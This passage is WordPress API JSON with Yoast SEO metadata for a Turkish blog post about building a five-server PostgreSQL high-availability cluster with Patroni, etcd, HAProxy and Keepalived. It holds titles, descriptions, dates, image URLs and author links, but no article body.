class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/\"},\"author\":{\"name\":\"YUNUS EMRE ATAY\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"headline\":\"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi\",\"datePublished\":\"2026-02-26T14:15:48+00:00\",\"dateModified\":\"2026-04-07T08:25:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/\"},\"wordCount\":1208,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/banner.jpg\",\"articleSection\":[\"Genel\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/\",\"name\":\"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/banner.jpg\",\"datePublished\":\"2026-02-26T14:15:48+00:00\",\"dateModified\":\"2026-04-07T08:25:25+00:00\",\"description\":\"Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda \\\"Y\u00fcksek Eri\u015filebilir\\\" (High Availability - HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#primaryimage\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/banner.jpg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/02\\\/banner.jpg\",\"width\":640,\"height\":640,\"caption\":\"PostgresCluster\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\\\/\\\/oraclius.com.tr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/\",\"name\":\"oraclius\",\"description\":\"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.\",\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"alternateName\":\"oracle\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/oraclius.com.tr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\",\"name\":\"YUNUS EMRE ATAY\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"width\":512,\"height\":512,\"caption\":\"YUNUS EMRE ATAY\"},\"logo\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\"},\"description\":\"oracle\",\"sameAs\":[\"https:\\\/\\\/oraclius.com.tr\",\"https:\\\/\\\/instagram.com\\\/lemratal\",\"https:\\\/\\\/linkedin.com\\\/in\\\/emreatayy\",\"https:\\\/\\\/www.youtube.com\\\/@lemratal\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi","description":"Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda \"Y\u00fcksek Eri\u015filebilir\" (High Availability - HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/oraclius.com.tr\/en\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/","og_locale":"en_US","og_type":"article","og_title":"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi","og_description":"Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda \"Y\u00fcksek Eri\u015filebilir\" (High Availability - HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.","og_url":"https:\/\/oraclius.com.tr\/en\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/","og_site_name":"oraclius","article_published_time":"2026-02-26T14:15:48+00:00","article_modified_time":"2026-04-07T08:25:25+00:00","og_image":[{"width":640,"height":640,"url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/banner.jpg","type":"image\/jpeg"}],"author":"YUNUS EMRE ATAY","twitter_card":"summary_large_image","twitter_misc":{"Written by":"YUNUS EMRE ATAY","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#article","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/"},"author":{"name":"YUNUS EMRE ATAY","@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"headline":"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi","datePublished":"2026-02-26T14:15:48+00:00","dateModified":"2026-04-07T08:25:25+00:00","mainEntityOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/"},"wordCount":1208,"commentCount":0,"publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/banner.jpg","articleSection":["Genel"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/","url":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/","name":"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#primaryimage"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/banner.jpg","datePublished":"2026-02-26T14:15:48+00:00","dateModified":"2026-04-07T08:25:25+00:00","description":"Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda \"Y\u00fcksek Eri\u015filebilir\" (High Availability - HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.","breadcrumb":{"@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#primaryimage","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/banner.jpg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/banner.jpg","width":640,"height":640,"caption":"PostgresCluster"},{"@type":"BreadcrumbList","@id":"https:\/\/oraclius.com.tr\/tr\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/oraclius.com.tr\/"},{"@type":"ListItem","position":2,"name":"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi"}]},{"@type":"WebSite","@id":"https:\/\/oraclius.com.tr\/#website","url":"https:\/\/oraclius.com.tr\/","name":"oraclius","description":"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.","publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"alternateName":"oracle","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/oraclius.com.tr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09","name":"YUNUS EMRE ATAY","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","width":512,"height":512,"caption":"YUNUS EMRE ATAY"},"logo":{"@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg"},"description":"oracle","sameAs":["https:\/\/oraclius.com.tr","https:\/\/instagram.com\/lemratal","https:\/\/linkedin.com\/in\/emreatayy","https:\/\/www.youtube.com\/@lemratal"]}]}},"_links":{"self":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/comments?post=807"}],"version-history":[{"count":2,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/807\/revisions"}],"predecessor-version":[{"id":880,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/807\/revisions\/880"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/media\/808"}],"wp:attachment":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/media?parent=807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/categories?post=807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/tags?post=807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}